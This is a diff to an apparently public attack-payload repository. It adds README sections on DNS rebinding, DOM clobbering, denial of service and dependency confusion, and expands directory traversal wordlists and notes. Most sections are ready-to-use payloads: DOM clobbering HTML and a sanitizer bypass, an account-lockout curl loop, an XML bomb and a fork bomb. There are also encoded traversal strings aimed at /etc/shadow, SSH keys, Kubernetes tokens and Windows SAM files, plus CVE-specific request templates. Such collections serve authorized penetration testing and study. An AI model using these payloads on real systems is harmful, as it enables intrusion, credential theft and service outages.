+* [Bypass Referer Check Logic for CSRF - hahwul - Oct 11, 2019](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)

DISCLAIMER.md

@@ -0,0 +1,11 @@
+# DISCLAIMER
+
+The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization.
+
+By accessing and using this repository, you agree to:
+
+* Refrain from using the provided information for any unethical or illegal activities.
+* Ensure that all testing and experimentation are conducted responsibly and with proper authorization.
+* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility.
+
+Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law.

DNS Rebinding/README.md

@@ -0,0 +1,96 @@
+# DNS Rebinding
+
+> DNS rebinding changes the IP address of an attacker controlled machine name to the IP address of a target application, bypassing the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) and thus allowing the browser to make arbitrary requests to the target application and read their responses.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+* [Protection Bypasses](#protection-bypasses)
+    * [0.0.0.0](#0000)
+    * [CNAME](#cname)
+    * [localhost](#localhost)
+* [References](#references)
+
+## Tools
+
+* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
+* [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
+* [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
+* [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
+
+## Methodology
+
+**Setup Phase**:
+
+* Register a malicious domain (e.g., `malicious.com`).
+* Configure a custom DNS server capable of resolving `malicious.com` to different IP addresses.
+
+**Initial Victim Interaction**:
+
+* Create a webpage on `malicious.com` containing malicious JavaScript or another exploit mechanism.
+* Entice the victim to visit the malicious webpage (e.g., via phishing, social engineering, or advertisements).
+
+**Initial DNS Resolution**:
+
+* When the victim's browser accesses `malicious.com`, it queries the attacker's DNS server for the IP address.
+* The DNS server resolves `malicious.com` to an initial, legitimate-looking IP address (e.g., 203.0.113.1).
+
+**Rebinding to Internal IP**:
+
+* After the browser's initial request, the attacker's DNS server updates the resolution for `malicious.com` to a private or internal IP address (e.g., 192.168.1.1, corresponding to the victim’s router or other internal devices).
+
+This is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.
+
+**Same-Origin Exploitation:**
+
+The browser treats subsequent responses as coming from the same origin (`malicious.com`).
+
+Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
+
+**Example:**
+
+1. Register a domain.
+2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
+3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.
+4. Browse to `http://rebinder.your.domain:8080/autoattack.html`.
+5. Wait for the attack to finish (it can take few seconds/minutes).
+
+## Protection Bypasses
+
+> Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.
+
+In the case where DNS protection are enabled (generally disabled by default), NCC Group has documented multiple [DNS protection bypasses](https://github.com/nccgroup/singularity/wiki/Protection-Bypasses) that can be used.
+
+### 0.0.0.0
+
+We can use the IP address 0.0.0.0 to access the localhost (127.0.0.1) to bypass filters blocking DNS responses containing 127.0.0.1 or 127.0.0.0/8.
+
+### CNAME
+
+We can use DNS CNAME records to bypass a DNS protection solution that blocks all internal IP addresses.
+Since our response will only return a CNAME of an internal server,
+the rule filtering internal IP addresses will not be applied.
+Then, the local, internal DNS server will resolve the CNAME.
+
+```bash
+$ dig cname.example.com +noall +answer
+; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
+;; global options: +cmd
+cname.example.com.            381     IN      CNAME   target.local.
+```
+
+### localhost
+
+We can use "localhost" as a DNS CNAME record to bypass filters blocking DNS responses containing 127.0.0.1.
+
+```bash
+$ dig www.example.com +noall +answer
+; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
+;; global options: +cmd
+localhost.example.com.            381     IN      CNAME   localhost.
+```
+
+## References
+
+* [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)

DOM Clobbering/README.md

@@ -0,0 +1,145 @@
+# DOM Clobbering
+
+> DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
+
+## Summary
+
+- [Tools](#tools)
+- [Methodology](#methodology)
+- [Lab](#lab)
+- [References](#references)
+
+## Tools
+
+- [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
+- [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.
+- [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
+
+## Methodology
+
+Exploitation requires any kind of `HTML injection` in the page.
+
+- Clobbering `x.y.value`
+
+    ```html
+    // Payload
+    <form id=x><output id=y>I've been clobbered</output>
+
+    // Sink
+    <script>alert(x.y.value);</script>
+    ```
+
+- Clobbering `x.y` using ID and name attributes together to form a DOM collection
+
+    ```html
+    // Payload
+    <a id=x><a id=x name=y href="Clobbered">
+
+    // Sink
+    <script>alert(x.y)</script>
+    ```
+
+- Clobbering `x.y.z` - 3 levels deep
+
+    ```html
+    // Payload
+    <form id=x name=y><input id=z></form>
+    <form id=x></form>
+
+    // Sink
+    <script>alert(x.y.z)</script>
+    ```
+
+- Clobbering `a.b.c.d` - more than 3 levels
+
+    ```html
+    // Payload
+    <iframe name=a srcdoc="
+    <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
+    <style>@import '//portswigger.net';</style>
+
+    // Sink
+    <script>alert(a.b.c.d)</script>
+    ```
+
+- Clobbering `forEach` (Chrome only)
+
+    ```html
+    // Payload
+    <form id=x>
+    <input id=y name=z>
+    <input id=y>
+    </form>
+
+    // Sink
+    <script>x.y.forEach(element=>alert(element))</script>
+    ```
+
+- Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
+
+    ```html
+    // Payloads
+    <html id="cdnDomain">clobbered</html>
+    <svg><body id=cdnDomain>clobbered</body></svg>
+
+
+    // Sink 
+    <script>
+    alert(document.getElementById('cdnDomain').innerText);//clobbbered
+    </script>
+    ```
+
+- Clobbering `x.username`
+
+    ```html
+    // Payload
+    <a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
+
+    // Sink
+    <script>
+    alert(x.username)//Clobbered-username
+    alert(x.password)//Clobbered-password
+    </script>
+    ```
+
+- Clobbering (Firefox only)
+
+    ```html
+    // Payload
+    <base href=a:abc><a id=x href="Firefox<>">
+
+    // Sink
+    <script>
+    alert(x)//Firefox<>
+    </script>
+    ```
+
+- Clobbering (Chrome only)
+
+    ```html
+    // Payload
+    <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
+
+    // Sink
+    <script>
+    alert(x.xyz)//a://Clobbered<>
+    </script>
+    ```
+
+## Tricks
+
+- DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`
+
+## Lab
+
+- [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
+- [PortSwigger - Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
+- [PortSwigger - DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
+
+## References
+
+- [Bypassing CSP via DOM clobbering - Gareth Heyes - 05 June 2023](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
+- [DOM Clobbering - HackTricks - January 27, 2023](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
+- [DOM Clobbering - PortSwigger - September 25, 2020](https://portswigger.net/web-security/dom-based/dom-clobbering)
+- [DOM Clobbering strikes back - Gareth Heyes - 06 February 2020](https://portswigger.net/research/dom-clobbering-strikes-back)
+- [Hijacking service workers via DOM Clobbering - Gareth Heyes - 29 November 2022](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

Denial of Service/README.md

@@ -0,0 +1,101 @@
+# Denial of Service
+
+> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
+
+## Summary
+
+* [Methodology](#methodology)
+    * [Locking Customer Accounts](#locking-customer-accounts)
+    * [File Limits on FileSystem](#file-limits-on-filesystem)
+    * [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)
+* [References](#references)
+
+## Methodology
+
+Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
+
+### Locking Customer Accounts
+
+Example of Denial of Service that can occur when testing customer accounts.
+Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
+
+* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
+
+    ```ps1
+    for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
+    ```
+
+### File Limits on FileSystem
+
+When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
+
+| Filesystem | Maximum Inodes |
+| ---        | --- |
+| BTRFS      | 2^64 (~18 quintillion) |
+| EXT4       | ~4 billion |
+| FAT32      | ~268 million files |
+| NTFS       | ~4.2 billion (MFT entries) |
+| XFS        | Dynamic (disk size) |
+| ZFS        | ~281 trillion |
+
+An alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.
+
+FAT32 has a significant limitation of **4 GB**, which is why it's often replaced with exFAT or NTFS for larger files.
+
+Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
+
+### Memory Exhaustion - Technology Related
+
+Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
+
+* **XML External Entity**: Billion laughs attack/XML bomb
+
+    ```xml
+    <?xml version="1.0"?>
+    <!DOCTYPE lolz [
+    <!ENTITY lol "lol">
+    <!ELEMENT lolz (#PCDATA)>
+    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
+    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
+    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
+    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
+    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
+    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
+    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
+    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
+    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
+    ]>
+    <lolz>&lol9;</lolz>
+    ```
+
+* **GraphQL**: Deeply-nested GraphQL queries.
+
+    ```ps1
+    query { 
+        repository(owner:"rails", name:"rails") {
+            assignableUsers (first: 100) {
+                nodes {
+                    repositories (first: 100) {
+                        nodes {
+                            
+                        }
+                    }
+                }
+            }
+        }
+    }
+    ```
+
+* **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
+* **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
+* **Regular Expression**: ReDoS
+* **Fork Bomb**: rapidly creates new processes in a loop, consuming system resources until the machine becomes unresponsive.
+
+    ```ps1
+    :(){ :|:& };:
+    ```
+
+## References
+
+* [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
+* [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)

Dependency Confusion/README.md

@@ -0,0 +1,39 @@
+# Dependency Confusion
+
+> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+    * [NPM Example](#npm-example)
+* [References](#references)
+
+## Tools
+
+* [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems
+* [synacktiv/DepFuzzer](https://github.com/synacktiv/DepFuzzer) - Tool used to find dependency confusion or project where owner's email can be takeover.
+
+## Methodology
+
+Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
+
+* **DockerHub**: Dockerfile image
+* **JavaScript** (npm): package.json
+* **MVN** (maven): pom.xml
+* **PHP** (composer): composer.json
+* **Python** (pypi): requirements.txt
+
+### NPM Example
+
+* List all the packages (ie: package.json, composer.json, ...)
+* Find the package missing from [www.npmjs.com](https://www.npmjs.com/)
+* Register and create a **public** package with the same name
+    * Package example : [0xsapra/dependency-confusion-expoit](https://github.com/0xsapra/dependency-confusion-expoit)
+
+## References
+
+* [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
+* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
+* [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
+* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 févr. 2021](https://www.youtube.com/watch?v=zFHJwehpBrU)

Directory Traversal/Intruder/deep_traversal.txt

@@ -6,6 +6,14 @@
 ../../../../../../{FILE}
 ../../../../../../../{FILE}
 ../../../../../../../../{FILE}
+..;/{FILE}
+..;/..;/{FILE}
+..;/..;/..;/{FILE}
+..;/..;/..;/..;/{FILE}
+..;/..;/..;/..;/..;/{FILE}
+..;/..;/..;/..;/..;/..;/{FILE}
+..;/..;/..;/..;/..;/..;/..;/{FILE}
+..;/..;/..;/..;/..;/..;/..;/..;/{FILE}
 ..%2f{FILE}
 ..%2f..%2f{FILE}
 ..%2f..%2f..%2f{FILE}

Directory Traversal/Intruder/directory_traversal.txt

@@ -130,3 +130,11 @@ C:\boot.ini
 /.../.../.../.../.../
 ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
 /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
+/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
+/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
+/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
+/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
+/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
+/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
+/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
+/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

Directory Traversal/README.md

@@ -1,29 +1,38 @@
-# Directory traversal
+# Directory Traversal
 
-> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
+> Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with “dot-dot-slash (../)” sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.
 
 ## Summary
 
 * [Tools](#tools)
-* [Basic exploitation](#basic-exploitation)
+* [Methodology](#methodology)
-    * [16 bits Unicode encoding](#)
+    * [URL Encoding](#url-encoding)
-    * [UTF-8 Unicode encoding](#)
+    * [Double URL Encoding](#double-url-encoding)
-    * [Bypass "../" replaced by ""](#)
+    * [Unicode Encoding](#unicode-encoding)
-    * [Double URL encoding](#)
+    * [Overlong UTF-8 Unicode Encoding](#overlong-utf-8-unicode-encoding)
-    * [UNC Bypass](#unc-bypass)
+    * [Mangled Path](#mangled-path)
+    * [NULL Bytes](#null-bytes)
+    * [Reverse Proxy URL Implementation](#reverse-proxy-url-implementation)
+* [Exploit](#exploit)
+    * [UNC Share](#unc-share)
+    * [ASPNET Cookieless](#asp-net-cookieless)
+    * [IIS Short Name](#iis-short-name)
+    * [Java URL Protocol](#java-url-protocol)
 * [Path Traversal](#path-traversal)
-    * [Interesting Linux files](#)
+    * [Linux Files](#linux-files)
-    * [Interesting Windows files](#)
+    * [Windows Files](#windows-files)
+* [Labs](#labs)
+* [References](#references)
 
 ## Tools
 
-- [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn)
+* [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer
+
     ```powershell
-    git clone https://github.com/wireghoul/dotdotpwn
     perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
     ```
 
-## Basic exploitation
+## Methodology
 
 We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
 
@@ -38,82 +47,269 @@ We can use the `..` characters to access the parent directory, the following str
 %uff0e%uff0e%u2216
 ```
 
-### 16 bits Unicode encoding
+### URL Encoding
 
-```powershell
+| Character | Encoded |
-. = %u002e
+| --- | -------- |
-/ = %u2215
+| `.` | `%2e` |
-\ = %u2216
+| `/` | `%2f` |
+| `\` | `%5c` |
+
+**Example:** IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
+
+```ps1
+{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd
 ```
 
-### UTF-8 Unicode encoding
+### Double URL Encoding
 
-```powershell
+Double URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string.
-. = %c0%2e, %e0%40%ae, %c0ae
+
-/ = %c0%af, %e0%80%af, %c0%2f
+| Character | Encoded |
-\ = %c0%5c, %c0%80%5c
+| --- | -------- |
+| `.` | `%252e` |
+| `/` | `%252f` |
+| `\` | `%255c` |
+
+**Example:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)
+
+```ps1
+{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
+{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
 ```
 
-### Bypass "../" replaced by ""
+### Unicode Encoding
-Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
+
+| Character | Encoded |
+| --- | -------- |
+| `.` | `%u002e` |
+| `/` | `%u2215` |
+| `\` | `%u2216` |
+
+**Example**: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)
+
+```js
+{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
+```
+
+### Overlong UTF-8 Unicode Encoding
+
+The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.
+
+| Character | Encoded |
+| --- | -------- |
+| `.` | `%c0%2e`, `%e0%40%ae`, `%c0%ae` |
+| `/` | `%c0%af`, `%e0%80%af`, `%c0%2f` |
+| `\` | `%c0%5c`, `%c0%80%5c` |
+
+### Mangled Path
+
+Sometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them.
 
 ```powershell
 ..././
 ...\.\
 ```
 
-### Double URL encoding
+**Example:**: Mirasys DVMS Workstation <=5.12.6
 
-```powershell
+```ps1
-. = %252e
+{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini
-/ = %252f
-\ = %255c
 ```
 
-### UNC Bypass
+### NULL Bytes
 
-An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
+A null byte (`%00`), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms.
+
+**Example:** Homematic CCU3 CVE-2019-9726
+
+```js
+{{BaseURL}}/.%00./.%00./etc/passwd
+```
+
+**Example:** Kyocera Printer d-COPIA253MF CVE-2020-23575
+
+```js
+{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
+```
+
+### Reverse Proxy URL Implementation
+
+Nginx treats `/..;/` as a directory while Tomcat treats it as it would treat `/../` which allows us to access arbitrary servlets.
+
+```powershell
+..;/
+```
+
+**Example**: Pascom Cloud Phone System CVE-2021-45967
+
+A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.
+
+```js
+{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}
+```
+
+## Exploit
+
+These exploits affect mechanism linked to specific technologies.
+
+### UNC Share
+
+A UNC (Universal Naming Convention) share is a standard format used to specify the location of resources, such as shared files, directories, or devices, on a network in a platform-independent manner. It is commonly used in Windows environments but is also supported by other operating systems.
+
+An attacker can inject a **Windows** UNC share (`\\UNC\share\name`) into a software system to potentially redirect access to an unintended location or arbitrary file.
 
 ```powershell
 \\localhost\c$\windows\win.ini
 ```
 
+Also the machine might also authenticate on this remote share, thus sending an NTLM exchange.
+
+### ASP NET Cookieless
+
+When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.
+
+For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID.
+
+| .NET Version   | URI                        |
+| -------------- | -------------------------- |
+| V1.0, V1.1     | /(XXXXXXXX)/               |
+| V2.0+          | /(S(XXXXXXXX))/            |
+| V2.0+          | /(A(XXXXXXXX)F(YYYYYYYY))/ |
+| V2.0+          | ...                        |
+
+We can use this behavior to bypass filtered URLs.
+
+* If your application is in the main folder
+
+    ```ps1
+    /(S(X))/
+    /(Y(Z))/
+    /(G(AAA-BBB)D(CCC=DDD)E(0-1))/
+    /(S(X))/admin/(S(X))/main.aspx
+    /(S(x))/b/(S(x))in/Navigator.dll
+    ```
+
+* If your application is in a subfolder
+
+    ```ps1
+    /MyApp/(S(X))/
+    /admin/(S(X))/main.aspx
+    /admin/Foobar/(S(X))/../(S(X))/main.aspx
+    ```
+
+| CVE            | Payload                                        |
+| -------------- | ---------------------------------------------- |
+| CVE-2023-36899 | /WebForm/(S(X))/prot/(S(X))ected/target1.aspx  |
+| -              | /WebForm/(S(X))/b/(S(X))in/target2.aspx        |
+| CVE-2023-36560 | /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ |
+| -              | /WebForm/b/(S(X))in/target2.aspx/(S(X))/       |
+
+### IIS Short Name
+
+The IIS Short Name vulnerability exploits a quirk in Microsoft's Internet Information Services (IIS) web server that allows attackers to determine the existence of files or directories with names longer than the 8.3 format (also known as short file names) on a web server.
+
+* [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
+
+    ```ps1
+    java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
+    java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'
+    ```
+
+* [bitquark/shortscan](https://github.com/bitquark/shortscan)
+
+    ```ps1
+    shortscan http://example.org/
+    ```
+
+### Java URL Protocol
+
+Java's URL protocol when `new URL('')` is used allows the format `url:URL`
+
+```powershell
+url:file:///etc/passwd
+url:http://127.0.0.1:8080
+```
 
 ## Path Traversal
 
-### Interesting Linux files
+### Linux Files
+
+* Operating System and Informations
+
+    ```powershell
+    /etc/issue
+    /etc/group
+    /etc/hosts
+    /etc/motd
+    ```
+
+* Processes
+
+    ```ps1
+    /proc/[0-9]*/fd/[0-9]*   # first number is the PID, second is the filedescriptor
+    /proc/self/environ
+    /proc/version
+    /proc/cmdline
+    /proc/sched_debug
+    /proc/mounts
+    ```
+
+* Network
+
+    ```ps1
+    /proc/net/arp
+    /proc/net/route
+    /proc/net/tcp
+    /proc/net/udp
+    ```
+
+* Current Path
+
+    ```ps1
+    /proc/self/cwd/index.php
+    /proc/self/cwd/main.py
+    ```
+
+* Indexing
+
+    ```ps1
+    /var/lib/mlocate/mlocate.db
+    /var/lib/plocate/plocate.db
+    /var/lib/mlocate.db
+    ```
+
+* Credentials and history
+
+    ```ps1
+    /etc/passwd
+    /etc/shadow
+    /home/$USER/.bash_history
+    /home/$USER/.ssh/id_rsa
+    /etc/mysql/my.cnf
+    ```
+
+* Kubernetes
+
+    ```ps1
+    /run/secrets/kubernetes.io/serviceaccount/token
+    /run/secrets/kubernetes.io/serviceaccount/namespace
+    /run/secrets/kubernetes.io/serviceaccount/certificate
+    /var/run/secrets/kubernetes.io/serviceaccount
+    ```
+
+### Windows Files
+
+The files `license.rtf` and `win.ini` are consistently present on modern Windows systems, making them a reliable target for testing path traversal vulnerabilities. While their content isn't particularly sensitive or interesting, they serves well as a proof of concept.
 
 ```powershell
-/etc/issue
+C:\Windows\win.ini
-/etc/passwd
+C:\windows\system32\license.rtf
-/etc/shadow
-/etc/group
-/etc/hosts
-/etc/motd
-/etc/mysql/my.cnf
-/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
-/proc/self/environ
-/proc/version
-/proc/cmdline
-/proc/sched_debug
-/proc/mounts
-/proc/net/arp
-/proc/net/route
-/proc/net/tcp
-/proc/net/udp
-/proc/self/cwd/index.php
-/proc/self/cwd/main.py
-/home/$USER/.bash_history
-/home/$USER/.ssh/id_rsa
-/var/run/secrets/kubernetes.io/serviceaccount
 ```
 
-### Interesting Windows files
+A list of files / paths to probe when arbitrary files can be read on a Microsoft Windows operating system: [soffensive/windowsblindread](https://github.com/soffensive/windowsblindread)
-
-Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
 
 ```powershell
-c:/boot.ini
 c:/inetpub/logs/logfiles
 c:/inetpub/wwwroot/global.asa
 c:/inetpub/wwwroot/index.asp
@@ -133,24 +329,27 @@ c:/unattend.txt
 c:/unattend.xml
 c:/unattended.txt
 c:/unattended.xml
+c:/windows/repair/sam
+c:/windows/repair/system
 ```
 
-The following log files are controllable and can be included with an evil payload to achieve a command execution
+## Labs
 
-```powershell
+* [PortSwigger - File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)
-/var/log/apache/access.log
+* [PortSwigger - File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)
-/var/log/apache/error.log
